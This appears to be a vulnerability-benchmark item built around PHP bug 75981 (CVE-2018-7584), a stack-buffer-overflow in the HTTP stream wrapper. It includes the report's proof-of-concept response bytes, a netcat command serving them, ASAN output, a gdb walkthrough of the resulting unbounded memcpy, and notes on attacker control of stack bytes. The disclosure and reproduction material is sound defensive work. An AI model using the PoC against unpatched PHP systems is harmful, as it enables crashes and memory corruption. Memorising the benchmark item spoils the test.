Project: php-src (php/php-src), language: c++
Vulnerability instance: php.cve-2018-7584
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: PHP Bugs
## URL: https://bugs.php.net/bug.php?id=75981
## Description:
PHP Bug ID: 75981
Summary: stack-buffer-overflow while parsing HTTP response
Status: Closed
PHP Version: 5.6.33
Assigned: stas (profile)
CVE-ID: 2018-7584

Description:
Description:
------------
The latest PHP distributions contain a memory corruption bug while parsing malformed HTTP response packets. Vulnerable code at:

php_stream_url_wrap_http_ex /home/weilei/php-7.2.2/ext/standard/http_fopen_wrapper.c:723

   if (tmp_line[tmp_line_len - 1] == '\n') {
    --tmp_line_len;
    if (tmp_line[tmp_line_len - 1] == '\r') {
     --tmp_line_len;
    }
}

If the proceeding buffer contains '\r' as either controlled content or junk on stack, under a realistic setting (non-ASAN), tmp_line_len could go do -1, resulting in an extra large string being copied subsequently. Under ASAN a segfault can be observed.

$ bin/php --version
PHP 7.2.2 (cli) (built: Feb 20 2018 08:51:24) ( NTS )
Copyright (c) 1997-2018 The PHP Group
Zend Engine v3.2.0, Copyright (c) 1998-2018 Zend Technologies


Test script:
---------------
$ xxd -g 1 poc
0000000: 30 30 30 30 30 30 30 30 30 31 30 30 0a 0a        000000000100..

$ nc -vvlp 8080 < poc
Listening on [0.0.0.0] (family 0, port 8080)
Connection from [127.0.0.1] port 8080 [tcp/http-alt] accepted (family 2, sport 53083)
GET / HTTP/1.0
Host: localhost:8080
Connection: close

$ bin/php -r 'file_get_contents("http://localhost:8080");'

Expected result:
----------------
NO CRASH

Actual result:
--------------
$ bin/php -r 'file_get_contents("http://localhost:8080");'
=================================================================
==26249== ERROR: AddressSanitizer: stack-buffer-overflow on address 0xbfc038ef at pc 0x8aa393b bp 0xbfc02eb8 sp 0xbfc02eac
READ of size 1 at 0xbfc038ef thread T0
    #0 0x8aa393a in php_stream_url_wrap_http_ex /home/weilei/php-7.2.2/ext/standard/http_fopen_wrapper.c:723
    #1 0x8aa61fb in php_stream_url_wrap_http /home/weilei/php-7.2.2/ext/standard/http_fopen_wrapper.c:979
    #2 0x8b8b115 in _php_stream_open_wrapper_ex /home/weilei/php-7.2.2/main/streams/streams.c:2027
    #3 0x8918dc0 in zif_file_get_contents /home/weilei/php-7.2.2/ext/standard/file.c:550
    #4 0x867993a in phar_file_get_contents /home/weilei/php-7.2.2/ext/phar/func_interceptors.c:224
    #5 0x91ee267 in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER /home/weilei/php-7.2.2/Zend/zend_vm_execute.h:573
    #6 0x91ee267 in execute_ex /home/weilei/php-7.2.2/Zend/zend_vm_execute.h:59731
    #7 0x923c13c in zend_execute /home/weilei/php-7.2.2/Zend/zend_vm_execute.h:63760
    #8 0x8cba975 in zend_eval_stringl /home/weilei/php-7.2.2/Zend/zend_execute_API.c:1082
    #9 0x8cbaf66 in zend_eval_stringl_ex /home/weilei/php-7.2.2/Zend/zend_execute_API.c:1123
    #10 0x8cbb06b in zend_eval_string_ex /home/weilei/php-7.2.2/Zend/zend_execute_API.c:1134
    #11 0x9244455 in do_cli /home/weilei/php-7.2.2/sapi/cli/php_cli.c:1042
    #12 0x9246b37 in main /home/weilei/php-7.2.2/sapi/cli/php_cli.c:1404
    #13 0xb5e8ca82 (/lib/i386-linux-gnu/libc.so.6+0x19a82)
    #14 0x80656d0 in _start (/home/weilei/php7_asan/bin/php+0x80656d0)
Address 0xbfc038ef is located at offset 607 in frame <php_stream_url_wrap_http_ex> of T0's stack:
  This frame has 13 object(s):
    [32, 36) 'transport_string'
    [96, 100) 'errstr'
    [160, 164) 'http_header_line_length'
    [224, 232) 'timeout'
    [288, 296) 'req_buf'
    [352, 360) 'tmpstr'
    [416, 432) 'ssl_proxy_peer_name'
    [480, 496) 'http_header'
    [544, 576) 'buf'
    [608, 736) 'tmp_line'
    [768, 1792) 'location'
    [1824, 2848) 'new_path'
    [2880, 3904) 'loc_path'
HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
      (longjmp and C++ exceptions *are* supported)
SUMMARY: AddressSanitizer: stack-buffer-overflow /home/weilei/php-7.2.2/ext/standard/http_fopen_wrapper.c:723 php_stream_url_wrap_http_ex
Shadow bytes around the buggy address:
  0x37f806c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x37f806d0: 00 00 f1 f1 f1 f1 04 f4 f4 f4 f2 f2 f2 f2 04 f4
  0x37f806e0: f4 f4 f2 f2 f2 f2 04 f4 f4 f4 f2 f2 f2 f2 00 f4
  0x37f806f0: f4 f4 f2 f2 f2 f2 00 f4 f4 f4 f2 f2 f2 f2 00 f4
  0x37f80700: f4 f4 f2 f2 f2 f2 00 00 f4 f4 f2 f2 f2 f2 00 00
=>0x37f80710: f4 f4 f2 f2 f2 f2 00 00 00 00 f2 f2 f2[f2]00 00
  0x37f80720: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f2 f2
  0x37f80730: f2 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x37f80740: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x37f80750: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x37f80760: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:     fa
  Heap righ redzone:     fb
  Freed Heap region:     fd
  Stack left redzone:    f1
  Stack mid redzone:     f2
  Stack right redzone:   f3
  Stack partial redzone: f4
  Stack after return:    f5
  Stack use after scope: f8
  Global redzone:        f9
  Global init order:     f6
  Poisoned by user:      f7
  ASan internal:         fe
==26249== ABORTING
Aborted

Comments:

[Comment 1] [2018-02-20 23:05 UTC] stas@php.net
Yep, seems to be a bug, tmp_line_len is not checked before taking -1, and in fact from code above (in switch) it looks like it can very well be zero when we are using tmp_line_len - 1.

[Comment 2] [2018-02-20 23:47 UTC] stas@php.net
The fix is in security repo as 36239fee3638a8f4cfe3ca3aba597cb1699abd90 and in https://gist.github.com/2b41efaf052435efb511f499769fc023

Please verify.
Links: https://gist.github.com/2b41efaf052435efb511f499769fc023

[Comment 3] [2018-02-21 02:06 UTC] l dot wei at ntu dot edu dot sg
The length check works for my repros. I've been using a weaker check - only to the '\r' line, it seems also working fine, due to the php_stream_{eof, get_line} guarding the block. The OOB access occurred when tmp_line_len is 0 at the '\r' strip check. 

Please credit to:
Wei Lei and Liu Yang of Nanyang Technological University.

Thanks for the quick fix!

[Comment 6] [2018-03-06 05:05 UTC] l dot wei at ntu dot edu dot sg
The bug can be manipulated to achieve an unbounded memcpy from the stack to a small heap buffer. On Linux, this would result in a DoS when the src of memcpy reaches stack top; on Windows, control flow hijacking may be possible if a SIGSEGV handler can be overwritten before the memcpy crashes once reaching stack or heap boundary.

*** To overcome the web-bugs spam filter, replaced all "http://" to "hxxp://" below. Life is hard.. ***

$ nc -vvlp 8888 < poc

$ gdb --args bin/php -r 'file_get_contents("hxxp://localhost:8888");' 

(gdb) b main
Breakpoint 1 at 0x865ef67: file /home/weilei/php-7.2.2-release/sapi/cli/php_cli.c, line 1216.

(gdb) r
Starting program: /home/weilei/php7_gdb/bin/php -r file_get_contents\(\"hxxp://localhost:8888\"\)\;

Breakpoint 1, main (argc=3, argv=0xbfffe9c4) at /home/weilei/php-7.2.2-release/sapi/cli/php_cli.c:1216
1216  int exit_status = SUCCESS;

(gdb) b http_fopen_wrapper.c:721
Breakpoint 2 at 0x8424276: file /home/weilei/php-7.2.2-release/ext/standard/http_fopen_wrapper.c, line 721.

(gdb) c
Continuing.

Breakpoint 2, php_stream_url_wrap_http_ex (wrapper=0x8d5c0ac <php_stream_http_wrapper>, path=0x8e7cb20 "http://localhost:8888", mode=0x8c4a516 "rb", options=0, opened_path=0x0, context=0x8e74970, 
    redirect_max=20, flags=1, response_header=0xbfffb9b0) at /home/weilei/php-7.2.2-release/ext/standard/http_fopen_wrapper.c:721
721    if (tmp_line[tmp_line_len - 1] == '\n') {

(gdb) x/10wx tmp_line
0xbfffaccc: 0x3030000a 0x30303030 0x30303130 0x0000000a
0xbfffacdc: 0x00000000 0x00000000 0x00000000 0x00000000
0xbfffacec: 0x00000000 0x00000000

// *** Pre-condition of the large copy: tmp_line[-1] == 0x0d
// With the zend allocator, it is relatively easier to control the value of tmp_line[-1] to be '\r':

722     --tmp_line_len;
(gdb) p tmp_line_len
$2 = 1

(gdb) n
723     if (tmp_line[tmp_line_len - 1] == '\r') {

(gdb) p tmp_line_len
$3 = 0

// If customised heap allocator is configured for the PHP build, more investigation is needed.
// On both Linux and Windows, the default configuration is the Zend allocator. For now:

(gdb) set *((char*)tmp_line - 1) = '\r'

(gdb) x/10bx tmp_line
0xbfffaccc: 0x0a 0x00 0x30 0x30 0x30 0x30 0x30 0x30
0xbfffacd4: 0x30 0x31

(gdb) x/10bx tmp_line - 8
0xbfffacc4: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x0d
0xbfffaccc: 0x0a 0x00

(gdb) n
724      --tmp_line_len;
(gdb) n
727    ZVAL_STRINGL(&http_response, tmp_line, tmp_line_len);

(gdb) p/x tmp_line_len 
$5 = 0xffffffff

// http_response is a new zval structure declared on the stack, step into line 727
// a zend_string will be allocated, due to addition of a header and subsequent calls
// to _ZSTR_STRUCT_SIZE(len) and ZEND_MM_ALIGNED_SIZE(), the allocation size wraps to
// 16 bytes on the heap.

(gdb) s
zend_string_init (persistent=0, len=4294967295, str=0xbfffaccc "\n") at /home/weilei/php-7.2.2-release/ext/standard/http_fopen_wrapper.c:727
727    ZVAL_STRINGL(&http_response, tmp_line, tmp_line_len);

(gdb) s
zend_string_alloc (persistent=0, len=4294967295) at /home/weilei/php-7.2.2-release/Zend/zend_string.h:134
134  zend_string *ret = (zend_string *)pemalloc(ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(len)), persistent);

(gdb) p len
$9 = 4294967295

(gdb) s
_emalloc (size=16) at /home/weilei/php-7.2.2-release/Zend/zend_alloc.c:2425
2425  if (UNEXPECTED(AG(mm_heap)->use_custom_heap)) {
(gdb) s
2429    return AG(mm_heap)->custom_heap.std._malloc(size);
(gdb) p size
$10 = 16
(gdb) finish
Run till exit from #0  _emalloc (size=16) at /home/weilei/php-7.2.2-release/Zend/zend_alloc.c:2429
0x08424336 in zend_string_alloc (persistent=0, len=4294967295) at /home/weilei/php-7.2.2-release/Zend/zend_string.h:134
134  zend_string *ret = (zend_string *)pemalloc(ZEND_MM_ALIGNED_SIZE(_ZSTR_STRUCT_SIZE(len)), persistent);
Value returned is $11 = (void *) 0x8e7cf80

// after a few source line stepping:

(gdb) n
172  memcpy(ZSTR_VAL(ret), str, len);

(gdb) p len
$17 = 4294967295

(gdb) p/x *ret
$18 = {gc = {refcount = 0x1, u = {v = {type = 0x6, flags = 0x0, gc_info = 0x0}, type_info = 0x6}}, h = 0x0, len = 0xffffffff, val = {0x18}}

(gdb) x/s str
0xbfffaccc: "\n"

(gdb) s
__memcpy_ssse3_rep () at ../sysdeps/i386/i686/multiarch/memcpy-ssse3-rep.S:111
111 ../sysdeps/i386/i686/multiarch/memcpy-ssse3-rep.S: No such file or directory.
(gdb) bt
#0  __memcpy_ssse3_rep () at ../sysdeps/i386/i686/multiarch/memcpy-ssse3-rep.S:111
#1  0x084243bf in zend_string_init (persistent=0, len=4294967295, str=0xbfffaccc "\n") at /home/weilei/php-7.2.2-release/Zend/zend_string.h:172
#2  php_stream_url_wrap_http_ex (wrapper=0x8d5c0ac <php_stream_http_wrapper>, path=0x8e7cb20 "hxxp://localhost:8888", mode=0x8c4a516 "rb", options=0, opened_path=0x0, context=0x8e74970, redirect_max=20, 
    flags=1, response_header=0xbfffb9b0) at /home/weilei/php-7.2.2-release/ext/standard/http_fopen_wrapper.c:727
#3  0x08425594 in php_stream_url_wrap_http (wrapper=0x8d5c0ac <php_stream_http_wrapper>, path=0x8e7cb20 "hxxp://localhost:8888", mode=0x8c4a516 "rb", options=0, opened_path=0x0, context=0x8e74970)
    at /home/weilei/php-7.2.2-release/ext/standard/http_fopen_wrapper.c:979
#4  0x0847b77f in _php_stream_open_wrapper_ex (path=0x8e7cb20 "hxxp://localhost:8888", mode=0x8c4a516 "rb", options=8, opened_path=0x0, context=0x8e74970)
    at /home/weilei/php-7.2.2-release/main/streams/streams.c:2027
#5  0x08388a60 in zif_file_get_contents (execute_data=0xb79ed068, return_value=0xbfffd300) at /home/weilei/php-7.2.2-release/ext/standard/file.c:550
#6  0x082a42d0 in phar_file_get_contents (execute_data=0xb79ed068, return_value=0xbfffd300) at /home/weilei/php-7.2.2-release/ext/phar/func_interceptors.c:224
#7  0x08647e4a in ZEND_DO_ICALL_SPEC_RETVAL_UNUSED_HANDLER () at /home/weilei/php-7.2.2-release/Zend/zend_vm_execute.h:573
#8  execute_ex (ex=0xb79ed028) at /home/weilei/php-7.2.2-release/Zend/zend_vm_execute.h:59731
#9  0x0865b6a9 in zend_execute (op_array=0x8e7cb40, return_value=0xbfffd474) at /home/weilei/php-7.2.2-release/Zend/zend_vm_execute.h:63760
#10 0x084da344 in zend_eval_stringl (str=0x8d859a0 "file_get_contents(\"hxxp://localhost:8888\");", str_len=43, retval_ptr=0x0, string_name=0x8cdc728 "Command line code")
    at /home/weilei/php-7.2.2-release/Zend/zend_execute_API.c:1082
#11 0x084da53e in zend_eval_stringl_ex (str=0x8d859a0 "file_get_contents(\"hxxp://localhost:8888\");", str_len=43, retval_ptr=0x0, string_name=0x8cdc728 "Command line code", handle_exceptions=1)
    at /home/weilei/php-7.2.2-release/Zend/zend_execute_API.c:1123
#12 0x084da5a6 in zend_eval_string_ex (str=0x8d859a0 "file_get_contents(\"hxxp://localhost:8888\");", retval_ptr=0x0, string_name=0x8cdc728 "Command line code", handle_exceptions=1)
    at /home/weilei/php-7.2.2-release/Zend/zend_execute_API.c:1134
#13 0x0865e5e0 in do_cli (argc=3, argv=0x8d85950) at /home/weilei/php-7.2.2-release/sapi/cli/php_cli.c:1042
#14 0x0865f53c in main (argc=3, argv=0x8d85950) at /home/weilei/php-7.2.2-release/sapi/cli/php_cli.c:1404

(gdb) x/8wx $esp
0xbfffa4cc: 0x084243bf 0x08e7cf90 0xbfffaccc 0xffffffff
0xbfffa4dc: 0xbfffa59c 0x00000000 0xbfffac9c 0x08e74970

// would result in memcpy(0x08e7cf90, 0xbfffaccc, 0xffffffff);

(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
__memcpy_ssse3_rep () at ../sysdeps/i386/i686/multiarch/memcpy-ssse3-rep.S:1284
1284 in ../sysdeps/i386/i686/multiarch/memcpy-ssse3-rep.S

(gdb) info reg
eax            0xbfffffec -1073741844
ecx            0xffffac5f -21409
edx            0x8e822b0 149430960
ebx            0xb7e02000 -1210048512
esp            0xbfffa4c8 0xbfffa4c8
ebp            0xbfffb968 0xbfffb968
esi            0xb79ed028 -1214328792
edi            0x8e7cc20 149408800
eip            0xb7d8c497 0xb7d8c497 <__memcpy_ssse3_rep+3431>
eflags         0x10286 [ PF SF IF RF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51
(gdb) x/10i $eip
=> 0xb7d8c497 <__memcpy_ssse3_rep+3431>: movdqu 0x10(%eax),%xmm1
   0xb7d8c49c <__memcpy_ssse3_rep+3436>: movdqu 0x20(%eax),%xmm2
   0xb7d8c4a1 <__memcpy_ssse3_rep+3441>: movdqu 0x30(%eax),%xmm3
   0xb7d8c4a6 <__memcpy_ssse3_rep+3446>: movdqu 0x40(%eax),%xmm4
   0xb7d8c4ab <__memcpy_ssse3_rep+3451>: movdqu 0x50(%eax),%xmm5
   0xb7d8c4b0 <__memcpy_ssse3_rep+3456>: movdqu 0x60(%eax),%xmm6
   0xb7d8c4b5 <__memcpy_ssse3_rep+3461>: movdqu 0x70(%eax),%xmm7
   0xb7d8c4ba <__memcpy_ssse3_rep+3466>: lea    0x80(%eax),%eax
   0xb7d8c4c0 <__memcpy_ssse3_rep+3472>: lfence 
   0xb7d8c4c3 <__memcpy_ssse3_rep+3475>: sub    $0x80,%ecx
Links: http://"/, http://localhost:8888"

[Comment 7] [2018-03-07 09:33 UTC] l dot wei at ntu dot edu dot sg
Correction: the tmp_line[] array is on the stack, hence the pre-condition is determined by attacker's ability to control the byte tmp_line[-1] on stack. Under an -O0 build of PHP-7.2.2 on Ubuntu Linux, the preceding buffer of tmp_line is a zval structure of 16 bytes, defined in Zend/zend_types.h :

struct _zval_struct {
    zend_value        value;            /* value */
    union {
        struct {
            ZEND_ENDIAN_LOHI_4(
                zend_uchar    type,         /* active type */
                zend_uchar    type_flags,
                zend_uchar    const_flags,
                zend_uchar    reserved)     /* call info for EX(This) */
        } v;
        uint32_t type_info;
    } u1;
    union {
        uint32_t     next;                 /* hash collision chain */
        uint32_t     cache_slot;           /* literal cache slot */
        uint32_t     lineno;               /* line number (for ast nodes) */
        uint32_t     num_args;             /* arguments number for EX(This) */
        uint32_t     fe_pos;               /* foreach position */
        uint32_t     fe_iter_idx;          /* foreach iterator index */
        uint32_t     access_flags;         /* class constant access flags */
        uint32_t     property_guard;       /* single property guard */
        uint32_t     extra;                /* not further specified */
    } u2;
};

The zval structure for http_response declared in http_fopen_wrapper.c :

668     if (php_stream_get_line(stream, tmp_line, sizeof(tmp_line) - 1, &tmp_line_len) != NULL) {
669         zval http_response;
670
671         if (tmp_line_len > 9) {
672             response_code = atoi(tmp_line + 9);
673         } else {
674             response_code = 0;
675         }
676         if (context && NULL != (tmpzval = php_stream_context_get_option(context, "http", "ignore_errors"))) {
677             ignore_errors = zend_is_true(tmpzval);
678         }

SInce the zval structure is not initialized yet before the pre-condition check at line 723 and initialization of http_response at line 727:

721         if (tmp_line[tmp_line_len - 1] == '\n') {
722             --tmp_line_len;
723             if (tmp_line[tmp_line_len - 1] == '\r') {
724                 --tmp_line_len;
725             }
726         }
727         ZVAL_STRINGL(&http_response, tmp_line, tmp_line_len);

We can conclude that the byte at tmp_line[-1] is located on uninitialized stack, therefore an attacker can control this byte by preparing additional calls to flush the byte to '\x0d' before triggering this vulnerability to arrive at an unbounded heap overflow.

[Comment 8] [2018-04-16 13:33 UTC] mimipim at abv dot bg
It seem to be still active bug. However I am unable to provide any useful information at this time.

[Comment 9] [2018-04-16 16:10 UTC] stas@php.net
Could you explain what you mean by "active bug"? Can you still reproduce the issue with the fix applied? If so, please provide reproduction scenario.

Commit References:
36239fee3638a8f4cfe3ca3aba597cb1699abd90

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./buildconf --force
./configure \
        --enable-option-checking=fatal \
        --disable-libxml \
        --disable-dom \
        --disable-simplexml \
        --disable-xml \
        --disable-xmlreader \
        --disable-xmlwriter \
        --without-pear \
        --enable-exif \
        --disable-phpdbg \
        --disable-cgi
make -j$(nproc)

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool bison re2c make ca-certificates curl xz-utils dpkg-dev file libc-dev pkg-config libcurl4-openssl-dev libedit-dev libsqlite3-dev libssl-dev zlib1g-dev
RUN git clone https://github.com/php/php-src php-src
RUN git -C php-src checkout 1f4b057b631f9c9672cfd180090d8f52197bf806
WORKDIR $SRC/php-src
COPY build.sh $SRC/

Additional files: